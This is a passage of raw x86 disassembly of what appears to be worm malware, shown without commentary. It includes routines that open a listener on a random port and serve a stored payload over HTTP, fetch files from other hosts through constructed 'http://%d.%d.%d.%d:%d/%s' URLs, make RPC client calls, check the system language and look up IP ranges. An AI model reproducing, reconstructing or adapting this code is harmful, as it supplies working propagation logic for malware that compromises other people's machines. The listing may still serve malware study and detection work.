		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9AFA7B
		mov	[ebp+var_2C], 1
		jmp	short loc_9AFA7B
; ---------------------------------------------------------------------------


loc_9AFA65:				; CODE XREF: sub_9AF7D5+1CBj
					; sub_9AF7D5+1E3j
		and	[ebp+var_2C], 0
		jmp	short loc_9AFA36
; ---------------------------------------------------------------------------


loc_9AFA6B:				; CODE XREF: sub_9AF7D5+26Cj
		mov	eax, lpBuffer
		mov	[ebp+hMem], eax
		mov	eax, nNumberOfBytesToWrite
		mov	[ebp+var_24], eax


loc_9AFA7B:				; CODE XREF: sub_9AF7D5+285j
					; sub_9AF7D5+28Ej
		cmp	[ebp+var_2C], esi
		jz	short loc_9AFA9C


loc_9AFA80:				; CODE XREF: sub_9AF7D5+266j
		mov	[ebp+var_1C], 4
		mov	[ebp+hMem], esi
		call	rand
		add	eax, 64h
		imul	eax, 3E8h
		mov	[ebp+var_24], eax


loc_9AFA9C:				; CODE XREF: sub_9AF7D5+2A9j
		call	rand
		and	eax, 3
		push	off_9BAD98[eax*4]
		push	[ebp+var_24]
		push	offset aHttp1_0200OkPr ; "HTTP/1.0 200 OK\r\nPragma: no-cache\r\nCont"...
		push	200h		; Count
		lea	eax, [ebp+Buf2]
		push	eax		; Dest
		call	ebx ; _snprintf
		add	esp, 14h
		mov	[ebp+var_9D], 0
		mov	[ebp+var_3C], esi
		push	7		; int
		lea	eax, [ebp+Buf2]
		push	eax		; Str
		call	strlen
		pop	ecx
		push	eax		; int
		lea	eax, [ebp+Buf2]
		push	eax		; int
		push	[ebp+s]		; s
		call	sub_9AC931
		mov	esi, eax
		lea	eax, [ebp+Buf2]
		push	eax		; Str
		call	strlen
		add	esp, 14h
		cmp	eax, esi
		jnz	short loc_9AFB72
		cmp	[ebp+var_1C], 4
		jz	short loc_9AFB2A
		push	7		; int
		push	[ebp+var_24]	; int
		push	[ebp+hMem]	; int
		push	[ebp+s]		; s
		call	sub_9AC931
		add	esp, 10h
		cmp	[ebp+var_24], eax
		jnz	short loc_9AFB72
		mov	[ebp+var_3C], 1
		jmp	short loc_9AFB72
; ---------------------------------------------------------------------------


loc_9AFB2A:				; CODE XREF: sub_9AF7D5+332j
		mov	esi, 1FFh


loc_9AFB2F:				; CODE XREF: sub_9AF7D5+39Bj
		push	esi
		lea	eax, [ebp+Buf2]
		push	eax
		call	sub_9AC642
		pop	ecx
		pop	ecx
		call	rand
		cdq
		mov	ecx, 1388h
		idiv	ecx
		add	edx, 6A4h
		push	edx		; dwMilliseconds
		call	Sleep
		push	7		; int
		push	esi		; int
		lea	eax, [ebp+Buf2]
		push	eax		; int
		push	[ebp+s]		; s
		call	sub_9AC931
		add	esp, 10h
		cmp	eax, esi
		jz	short loc_9AFB2F


loc_9AFB72:				; CODE XREF: sub_9AF7D5+32Cj
					; sub_9AF7D5+34Aj ...
		cmp	[ebp+var_3C], 0
		jz	short loc_9AFBCA
		cmp	[ebp+var_1C], 1
		jnz	short loc_9AFBA8
		push	offset dword_9BAF78 ; lpAddend
		call	InterlockedIncrement
		push	dword_9BAF78	; Data
		call	sub_9A91B5
		push	[ebp+var_40]
		push	[ebp+netlong]
		call	sub_9ADA44
		add	esp, 0Ch
		cmp	[ebp+var_1C], 1
		jz	short loc_9AFBAE


loc_9AFBA8:				; CODE XREF: sub_9AF7D5+3A7j
		cmp	[ebp+var_1C], 3
		jnz	short loc_9AFBDF


loc_9AFBAE:				; CODE XREF: sub_9AF7D5+3D1j
		push	[ebp+netlong]
		call	sub_9AC384
		pop	ecx
		test	eax, eax
		jz	short loc_9AFBCA
		push	[ebp+netlong]	; int
		push	offset CriticalSection ; lpCriticalSection
		call	sub_9A8C17
		pop	ecx
		pop	ecx


loc_9AFBCA:				; CODE XREF: sub_9AF7D5+3A1j
					; sub_9AF7D5+3E4j
		cmp	[ebp+var_1C], 3
		jnz	short loc_9AFBDF
		cmp	[ebp+hMem], 0
		jz	short loc_9AFBDF
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9AFBDF:				; CODE XREF: sub_9AF7D5+6Aj
					; sub_9AF7D5+1A5j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9AFBF3
; ---------------------------------------------------------------------------


loc_9AFBE5:				; DATA XREF: .text:stru_9A4BA0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AFBE9:				; DATA XREF: .text:stru_9A4BA0o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]


loc_9AFBF3:				; CODE XREF: sub_9AF7D5+40Ej
		test	edi, edi
		jz	short loc_9AFBFE
		push	edi		; hMem
		call	GlobalFree


loc_9AFBFE:				; CODE XREF: sub_9AF7D5+420j
		push	1		; how
		push	[ebp+s]		; s
		call	shutdown
		push	[ebp+s]		; s
		call	closesocket
		push	[ebp+var_44]	; hMem
		call	GlobalFree
		xor	eax, eax
		call	__SEH_epilog
		retn	4
sub_9AF7D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AFC25	proc near		; CODE XREF: sub_9AFD0A+83p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 18h
		push	ebx
		push	ebp
		push	edi
		xor	edi, edi
		push	10h		; Size
		lea	eax, [esp+28h+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[esp+30h+var_14], edi
		call	memset
		mov	[esp+30h+Dst], 2
		mov	[esp+30h+var_C], edi
		call	sub_9AC33E
		push	eax		; Seed
		call	srand
		mov	ebx, Sleep
		add	esp, 10h
		mov	[esp+24h+var_18], edi
		mov	ebp, 1388h


loc_9AFC67:				; CODE XREF: sub_9AFC25+C0j
		call	rand
		cdq
		mov	ecx, 2310h
		idiv	ecx
		mov	edi, edx
		add	edi, 400h
		push	edi
		call	sub_9A9FDF
		test	eax, eax
		pop	ecx
		jnz	short loc_9AFC9F
		cmp	dword_9BB2F8, eax
		jnz	short loc_9AFCA2
		call	sub_9A9CA1
		mov	dword_9BB2F8, 1


loc_9AFC9F:				; CODE XREF: sub_9AFC25+61j
		push	ebp		; dwMilliseconds
		call	ebx ; Sleep


loc_9AFCA2:				; CODE XREF: sub_9AFC25+69j
		push	6		; protocol
		push	1		; type
		push	2		; af
		call	socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_9AFCF1
		push	edi		; netshort
		call	ntohs
		mov	[esp+24h+var_E], ax
		push	10h		; namelen
		lea	eax, [esp+28h+Dst]
		push	eax		; name
		push	dword ptr [esi]	; s
		call	bind
		test	eax, eax
		jz	short loc_9AFCE9
		push	dword ptr [esi]	; s
		call	closesocket
		inc	[esp+24h+var_18]
		cmp	[esp+24h+var_18], 0Ah
		jl	short loc_9AFC67
		jmp	short loc_9AFCF1
; ---------------------------------------------------------------------------


loc_9AFCE9:				; CODE XREF: sub_9AFC25+ADj
		mov	[esp+24h+var_14], 1


loc_9AFCF1:				; CODE XREF: sub_9AFC25+8Ej
					; sub_9AFC25+C2j
		call	sub_9AC50B
		mov	eax, [esp+24h+var_14]
		movzx	ecx, di
		neg	eax
		pop	edi
		sbb	eax, eax
		pop	ebp
		and	eax, ecx
		pop	ebx
		add	esp, 18h
		retn
sub_9AFC25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9AFD0A(LPVOID)

sub_9AFD0A	proc near		; DATA XREF: sub_9AFE8D+18o

readfds		= fd_set ptr -220h
exceptfds	= fd_set ptr -11Ch
addr		= sockaddr ptr -18h
ThreadId	= dword	ptr -8
addrlen		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		call	sub_9AC50B
		cmp	lpBuffer, 0
		jz	loc_9AFE86
		cmp	nNumberOfBytesToWrite, 0
		jz	loc_9AFE86
		push	esi
		mov	esi, rand
		push	edi
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, offset dword_9BB2D0
		add	edx, 4
		push	edx
		push	edi
		call	sub_9AC642
		push	offset CriticalSection
		call	sub_9A8BBE
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9AFD72
		push	9		; int
		push	offset dword_9BB2DC ; int
		push	edi		; Str
		call	sub_9AD2C5
		add	esp, 0Ch


loc_9AFD72:				; CODE XREF: sub_9AFD0A+56j
		call	esi ; rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		add	edx, 4
		push	edx
		push	offset dword_9BB2E8
		call	sub_9AC642
		pop	ecx
		pop	ecx
		lea	esi, [ebp+addrlen]
		call	sub_9AFC25
		mov	esi, eax
		test	si, si
		jz	loc_9AFE72
		mov	edi, [ebp+addrlen]
		push	32h		; backlog
		push	edi		; s
		call	listen
		test	eax, eax
		jnz	loc_9AFE6B
		movzx	eax, si
		push	ebx
		push	eax		; Value
		push	offset dword_9BB2F4 ; Target
		mov	[ebp+addrlen], 10h
		call	InterlockedExchange
		xor	ebx, ebx
		inc	ebx


loc_9AFDCB:				; CODE XREF: sub_9AFD0A+11Bj
					; sub_9AFD0A+14Fj ...
		xor	eax, eax
		push	eax		; timeout
		lea	ecx, [ebp+exceptfds]
		push	ecx		; exceptfds
		push	eax		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	eax		; nfds
		mov	[ebp+readfds.fd_array],	edi
		mov	[ebp+readfds.fd_count],	ebx
		mov	[ebp+exceptfds.fd_array], edi
		mov	[ebp+exceptfds.fd_count], ebx
		call	select
		test	eax, eax
		jle	short loc_9AFE6A
		lea	eax, [ebp+exceptfds]
		push	eax		; fd_set *
		push	edi		; fd
		call	__WSAFDIsSet
		test	eax, eax
		jnz	short loc_9AFE6A
		lea	eax, [ebp+addrlen]
		push	eax		; addrlen
		lea	eax, [ebp+addr]
		push	eax		; addr
		push	edi		; s
		call	accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9AFDCB
		push	8		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_9AFE5E
		mov	[eax], esi
		mov	edx, dword ptr [ebp+addr.sa_data+2]
		mov	[eax+4], edx
		lea	edx, [ebp+ThreadId]
		push	edx		; lpThreadId
		push	ecx		; dwCreationFlags
		push	eax		; lpParameter
		push	offset sub_9AF7D5 ; lpStartAddress
		push	ecx		; dwStackSize
		push	ecx		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		jmp	loc_9AFDCB
; ---------------------------------------------------------------------------


loc_9AFE5E:				; CODE XREF: sub_9AFD0A+12Bj
		push	esi		; s
		call	closesocket
		jmp	loc_9AFDCB
; ---------------------------------------------------------------------------


loc_9AFE6A:				; CODE XREF: sub_9AFD0A+F4j
					; sub_9AFD0A+105j
		pop	ebx


loc_9AFE6B:				; CODE XREF: sub_9AFD0A+A1j
		push	edi		; s
		call	closesocket


loc_9AFE72:				; CODE XREF: sub_9AFD0A+8Dj
		push	0		; Value
		push	offset dword_9BB2F4 ; Target
		call	InterlockedExchange
		push	2
		pop	eax
		pop	edi
		pop	esi
		jmp	short locret_9AFE89
; ---------------------------------------------------------------------------


loc_9AFE86:				; CODE XREF: sub_9AFD0A+15j
					; sub_9AFD0A+22j
		xor	eax, eax
		inc	eax

locret_9AFE89:				; CODE XREF: sub_9AFD0A+17Aj
		leave
		retn	4
sub_9AFD0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AFE8D	proc near		; CODE XREF: StartAddress+190p

ThreadId	= dword	ptr -4

		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		push	edi		; Value
		push	offset dword_9BB2F4 ; Target
		call	InterlockedExchange
		lea	eax, [esp+0Ch+ThreadId]
		push	eax		; lpThreadId
		push	edi		; dwCreationFlags
		push	edi		; lpParameter
		push	offset sub_9AFD0A ; lpStartAddress
		push	edi		; dwStackSize
		push	edi		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		xor	esi, esi


loc_9AFEBB:				; CODE XREF: sub_9AFE8D+45j
		cmp	dword_9BB2F4, edi
		jnz	short loc_9AFED4
		push	1F4h		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 64h
		jl	short loc_9AFEBB


loc_9AFED4:				; CODE XREF: sub_9AFE8D+34j
		mov	eax, dword_9BB2F4
		pop	edi
		pop	esi
		pop	ecx
		retn
sub_9AFE8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFEDD	proc near		; CODE XREF: sub_9ADBF1+19Ep
					; sub_9ADBF1+2A4p

szUrl		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		mov	eax, dword_9BB2F4
		push	edi
		xor	edi, edi
		cmp	word ptr [ebp+arg_4], di
		jnz	short loc_9AFEF9
		cmp	ax, di
		jz	short loc_9AFF6C


loc_9AFEF9:				; CODE XREF: sub_9AFEDD+15j
		push	esi
		push	offset dword_9BB2E8
		push	eax
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		shr	ecx, 18h
		push	ecx
		movzx	ecx, byte ptr [ebp+arg_0+2]
		push	ecx
		movzx	ecx, ah
		push	ecx
		and	eax, 0FFh
		push	eax
		push	offset aHttpD_D_D_DDS ;	"http://%d.%d.%d.%d:%d/%s"
		lea	eax, [ebp+szUrl]
		push	80h		; Count
		push	eax		; Dest
		call	_snprintf
		push	edi		; int
		lea	eax, [ebp+arg_4]
		push	eax		; int
		lea	eax, [ebp+szUrl]
		push	eax		; lpszUrl
		call	sub_9ACAC1
		mov	esi, eax
		add	esp, 30h
		cmp	esi, edi
		jz	short loc_9AFF6B
		mov	eax, nNumberOfBytesToWrite
		cmp	[ebp+arg_4], eax
		jb	short loc_9AFF64
		push	eax		; Size
		push	lpBuffer	; Buf2
		push	esi		; Buf1
		call	memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_9AFF64
		xor	edi, edi
		inc	edi


loc_9AFF64:				; CODE XREF: sub_9AFEDD+6Ej
					; sub_9AFEDD+82j
		push	esi		; hMem
		call	GlobalFree


loc_9AFF6B:				; CODE XREF: sub_9AFEDD+64j
		pop	esi


loc_9AFF6C:				; CODE XREF: sub_9AFEDD+1Aj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_9AFEDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFF71	proc near		; CODE XREF: sub_9AA82D+82p

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	offset pFormat	; pFormat
		push	offset pStubDescriptor ; pStubDescriptor
		call	NdrClientCall2
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_9AFF71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFF93	proc near		; CODE XREF: sub_9AA799+5Ap

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	offset byte_9A52E4 ; pFormat
		push	offset pStubDescriptor ; pStubDescriptor
		call	NdrClientCall2
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_9AFF93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AFFB5	proc near		; CODE XREF: sub_9B0216+1Ep

tstrFilename	= byte ptr -134h
var_133		= byte ptr -133h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
dwHandle	= dword	ptr -28h
lpBuffer	= dword	ptr -24h
puLen		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	124h
		push	offset stru_9A6A48
		call	__SEH_prolog
		mov	[ebp+var_1C], 9
		xor	ebx, ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+tstrFilename], bl
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_133]
		rep stosd
		stosw
		stosb
		push	104h		; nSize
		lea	eax, [ebp+tstrFilename]
		push	eax		; lpFilename
		push	offset aNtdll_dll ; "ntdll.dll"
		call	GetModuleHandleA
		push	eax		; hModule
		call	GetModuleFileNameA
		lea	eax, [ebp+dwHandle]
		push	eax		; lpdwHandle
		lea	eax, [ebp+tstrFilename]
		push	eax		; lptstrFilename
		call	GetFileVersionInfoSizeA
		mov	esi, eax
		mov	[ebp+var_30], esi
		cmp	esi, ebx
		jz	short loc_9B008B
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, ebx
		jz	short loc_9B008B
		push	edi		; lpData
		push	esi		; dwLen
		push	ebx		; dwHandle
		lea	eax, [ebp+tstrFilename]
		push	eax		; lptstrFilename
		call	GetFileVersionInfoA
		test	eax, eax
		jz	short loc_9B007B
		lea	eax, [ebp+puLen]
		push	eax		; puLen
		lea	eax, [ebp+lpBuffer]
		push	eax		; lplpBuffer
		push	offset SubBlock	; "\\VarFileInfo\\Translation"
		push	edi		; pBlock
		call	VerQueryValueA
		test	eax, eax
		jz	short loc_9B007B
		cmp	[ebp+puLen], ebx
		jz	short loc_9B007B
		mov	eax, [ebp+lpBuffer]
		movzx	eax, word ptr [eax]
		mov	[ebp+var_1C], eax
		cmp	ax, 804h
		jz	short loc_9B007B
		cmp	ax, 416h
		jz	short loc_9B007B
		and	eax, 0FFFF03FFh
		mov	[ebp+var_1C], eax


loc_9B007B:				; CODE XREF: sub_9AFFB5+8Bj
					; sub_9AFFB5+A2j ...
		push	edi		; hMem
		call	GlobalFree
		jmp	short loc_9B008B
; ---------------------------------------------------------------------------


loc_9B0084:				; DATA XREF: .text:stru_9A6A48o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9B0088:				; DATA XREF: .text:stru_9A6A48o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9B008B:				; CODE XREF: sub_9AFFB5+66j
					; sub_9AFFB5+78j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ax, word ptr [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_9AFFB5	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B0099(const void *,const void *)

sub_9B0099	proc near		; DATA XREF: sub_9B00F5+80o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [eax]
		cmp	[esp+arg_0], ecx
		jb	short loc_9B00B4
		movzx	eax, byte ptr [eax+4]
		add	eax, ecx
		cmp	eax, [esp+arg_0]
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_9B00B4:				; CODE XREF: sub_9B0099+Aj
		or	eax, 0FFFFFFFFh
		retn
sub_9B0099	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B00B8(const void *,const void *)

sub_9B00B8	proc near		; DATA XREF: sub_9B00F5+55o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [eax]
		cmp	[esp+arg_0], ecx
		jb	short loc_9B00D3
		movzx	eax, word ptr [eax+4]
		add	eax, ecx
		cmp	eax, [esp+arg_0]
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_9B00D3:				; CODE XREF: sub_9B00B8+Aj
		or	eax, 0FFFFFFFFh
		retn
sub_9B00B8	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl PtFuncCompare(const void *,const void *)

PtFuncCompare	proc near		; DATA XREF: sub_9B00F5+2Ao

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [eax]
		cmp	[esp+arg_0], ecx
		jb	short loc_9B00F1
		mov	eax, [eax+4]
		add	eax, ecx
		cmp	eax, [esp+arg_0]
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_9B00F1:				; CODE XREF: PtFuncCompare+Aj
		or	eax, 0FFFFFFFFh
		retn
PtFuncCompare	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9B00F5(u_long	netlong)

sub_9B00F5	proc near		; CODE XREF: sub_9B0191+27p

netlong		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+netlong] ; netlong
		or	bl, 0FFh
		call	ntohl
		mov	esi, bsearch
		mov	edi, eax
		mov	eax, Base
		test	eax, eax
		jz	short loc_9B0137
		mov	ecx, NumOfElements
		test	ecx, ecx
		jz	short loc_9B0137
		push	offset PtFuncCompare ; PtFuncCompare
		push	9		; SizeOfElements
		push	ecx		; NumOfElements
		push	eax		; Base
		push	edi		; Key
		call	esi ; bsearch
		add	esp, 14h
		test	eax, eax
		jz	short loc_9B0137
		mov	bl, [eax+8]
		jmp	short loc_9B018B
; ---------------------------------------------------------------------------


loc_9B0137:				; CODE XREF: sub_9B00F5+1Ej
					; sub_9B00F5+28j ...
		mov	ecx, dword_9BB310
		test	ecx, ecx
		jz	short loc_9B0162
		mov	eax, dword_9BB314
		test	eax, eax
		jz	short loc_9B0162
		push	offset sub_9B00B8 ; PtFuncCompare
		push	7		; SizeOfElements
		push	eax		; NumOfElements
		push	ecx		; Base
		push	edi		; Key
		call	esi ; bsearch
		add	esp, 14h
		test	eax, eax
		jz	short loc_9B0162
		mov	bl, [eax+6]
		jmp	short loc_9B018B
; ---------------------------------------------------------------------------


loc_9B0162:				; CODE XREF: sub_9B00F5+4Aj
					; sub_9B00F5+53j ...
		mov	ecx, dword_9BB300
		test	ecx, ecx
		jz	short loc_9B018B
		mov	eax, dword_9BB2FC
		test	eax, eax
		jz	short loc_9B018B
		push	offset sub_9B0099 ; PtFuncCompare
		push	6		; SizeOfElements
		push	eax		; NumOfElements
		push	ecx		; Base
		push	edi		; Key
		call	esi ; bsearch
		add	esp, 14h
		test	eax, eax
		jz	short loc_9B018B
		mov	bl, [eax+5]


loc_9B018B:				; CODE XREF: sub_9B00F5+40j
					; sub_9B00F5+6Bj ...
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		retn
sub_9B00F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B0191(u_long	netlong)

sub_9B0191	proc near		; CODE XREF: sub_9AABAE+57p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
ms_exc		= CPPEH_RECORD ptr -18h
netlong		= dword	ptr  8

		push	14h
		push	offset stru_9A6A58
		call	__SEH_prolog
		mov	[ebp+var_24], 9
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+netlong]
		call	sub_9AC384
		pop	ecx
		test	eax, eax
		jz	short loc_9B01F7
		push	[ebp+netlong]	; netlong
		call	sub_9B00F5
		pop	ecx
		mov	[ebp+var_19], al
		cmp	al, 0FFh
		jz	short loc_9B0208
		and	[ebp+var_20], 0


loc_9B01C9:				; CODE XREF: sub_9B0191+64j
		cmp	[ebp+var_20], 17h
		jnb	short loc_9B0208
		mov	ecx, [ebp+var_20]
		shl	ecx, 2
		cmp	al, byte_9A69D0[ecx]
		jb	short loc_9B01F2
		cmp	al, byte_9A69D1[ecx]
		ja	short loc_9B01F2
		mov	ax, word_9A69D2[ecx]
		mov	word ptr [ebp+var_24], ax
		jmp	short loc_9B0208
; ---------------------------------------------------------------------------


loc_9B01F2:				; CODE XREF: sub_9B0191+4Aj
					; sub_9B0191+52j
		inc	[ebp+var_20]
		jmp	short loc_9B01C9
; ---------------------------------------------------------------------------


loc_9B01F7:				; CODE XREF: sub_9B0191+22j
		mov	eax, dword_9BB304
		mov	[ebp+var_24], eax
		jmp	short loc_9B0208
; ---------------------------------------------------------------------------


loc_9B0201:				; DATA XREF: .text:stru_9A6A58o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9B0205:				; DATA XREF: .text:stru_9A6A58o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9B0208:				; CODE XREF: sub_9B0191+32j
					; sub_9B0191+3Cj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	ax, word ptr [ebp+var_24]
		call	__SEH_epilog
		retn
sub_9B0191	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B0216	proc near		; CODE XREF: StartAddress+1A1p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	10h
		push	offset stru_9A6A78
		call	__SEH_prolog
		xor	esi, esi
		cmp	word ptr dword_9BB304, si
		jnz	loc_9B02EF
		mov	[ebp+ms_exc.disabled], esi
		call	sub_9AFFB5
		mov	word ptr dword_9BB304, ax
		cmp	[ebp+arg_0], esi
		jz	loc_9B02EB
		mov	ebx, [ebp+arg_4]
		cmp	ebx, esi
		jz	loc_9B02EB
		mov	[ebp+var_1C], ebx
		push	0Ch
		mov	edi, offset dword_9A6A64
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_9AF1A2
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	sub_9B02F5
		mov	esi, eax
		mov	[ebp+var_20], esi
		push	0Ch
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	sub_9AF1A2
		add	esp, 28h
		test	esi, esi
		jz	short loc_9B02EB
		cmp	[ebp+var_1C], 0
		jz	short loc_9B02EB
		lea	eax, [esi+4]
		mov	dword_9BB300, eax
		mov	ecx, [esi]
		mov	eax, ecx
		xor	edx, edx
		push	6
		pop	edi
		div	edi
		mov	dword_9BB2FC, eax
		lea	eax, [ecx+esi+8]
		mov	dword_9BB310, eax
		mov	eax, [ecx+esi+4]
		xor	edx, edx
		push	7
		pop	edi
		div	edi
		mov	dword_9BB314, eax
		mov	eax, [ecx+esi+4]
		add	eax, ecx
		add	eax, esi
		lea	ecx, [eax+0Ch]
		mov	Base, ecx
		mov	eax, [eax+8]
		xor	edx, edx
		push	9
		pop	ecx
		div	ecx
		mov	NumOfElements, eax
		jmp	short loc_9B02EB
; ---------------------------------------------------------------------------


loc_9B02E4:				; DATA XREF: .text:stru_9A6A78o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9B02E8:				; DATA XREF: .text:stru_9A6A78o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9B02EB:				; CODE XREF: sub_9B0216+2Cj
					; sub_9B0216+37j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_9B02EF:				; CODE XREF: sub_9B0216+15j
		call	__SEH_epilog
		retn
sub_9B0216	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B02F5	proc near		; CODE XREF: sub_9B0216+58p

Memory		= dword	ptr -450h
var_44C		= byte ptr -44Ch
var_430		= dword	ptr -430h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	440h
		push	offset stru_9A6A88
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	esi, [ebp+arg_4]
		push	dword ptr [esi]	; Size
		push	ebx		; char
		push	[ebp+arg_0]	; int
		call	sub_9B50DB
		add	esp, 0Ch
		mov	[ebp+var_24], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_9B03C6
		mov	[ebp+Memory], ebx
		mov	ecx, 108h
		xor	eax, eax
		lea	edi, [ebp+var_44C]
		rep stosd
		lea	eax, [ebp+Memory]
		push	eax		; Memory
		push	[ebp+var_24]	; int
		call	sub_9B202D
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_9B03B0
		or	[ebp+var_430], 0FFFFFFFFh
		lea	eax, [ebp+Memory]
		push	eax
		call	sub_9B215A
		pop	ecx
		test	eax, eax
		jnz	short loc_9B03B0
		mov	[ebp+var_1C], ebx
		push	ebx
		lea	eax, [ebp+Memory]
		push	eax
		call	sub_9B221A
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_9B4F4A
		add	esp, 0Ch
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_28], ebx
		jnz	short loc_9B03A4
		cmp	eax, ebx
		jz	short loc_9B03B0
		mov	ecx, [ebp+var_1C]
		cmp	ecx, ebx
		jz	short loc_9B03A4
		mov	[ebp+var_20], eax
		mov	[esi], ecx
		jmp	short loc_9B03B0
; ---------------------------------------------------------------------------


loc_9B03A4:				; CODE XREF: sub_9B02F5+9Bj
					; sub_9B02F5+A6j
		cmp	eax, ebx
		jz	short loc_9B03B0
		push	eax		; Memory
		call	free
		pop	ecx


loc_9B03B0:				; CODE XREF: sub_9B02F5+5Cj
					; sub_9B02F5+74j ...
		lea	eax, [ebp+Memory]
		push	eax
		call	sub_9B239F
		pop	ecx
		jmp	short loc_9B03C6
; ---------------------------------------------------------------------------


loc_9B03BF:				; DATA XREF: .text:stru_9A6A88o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9B03C3:				; DATA XREF: .text:stru_9A6A88o
		mov	esp, [ebp+ms_exc.old_esp]


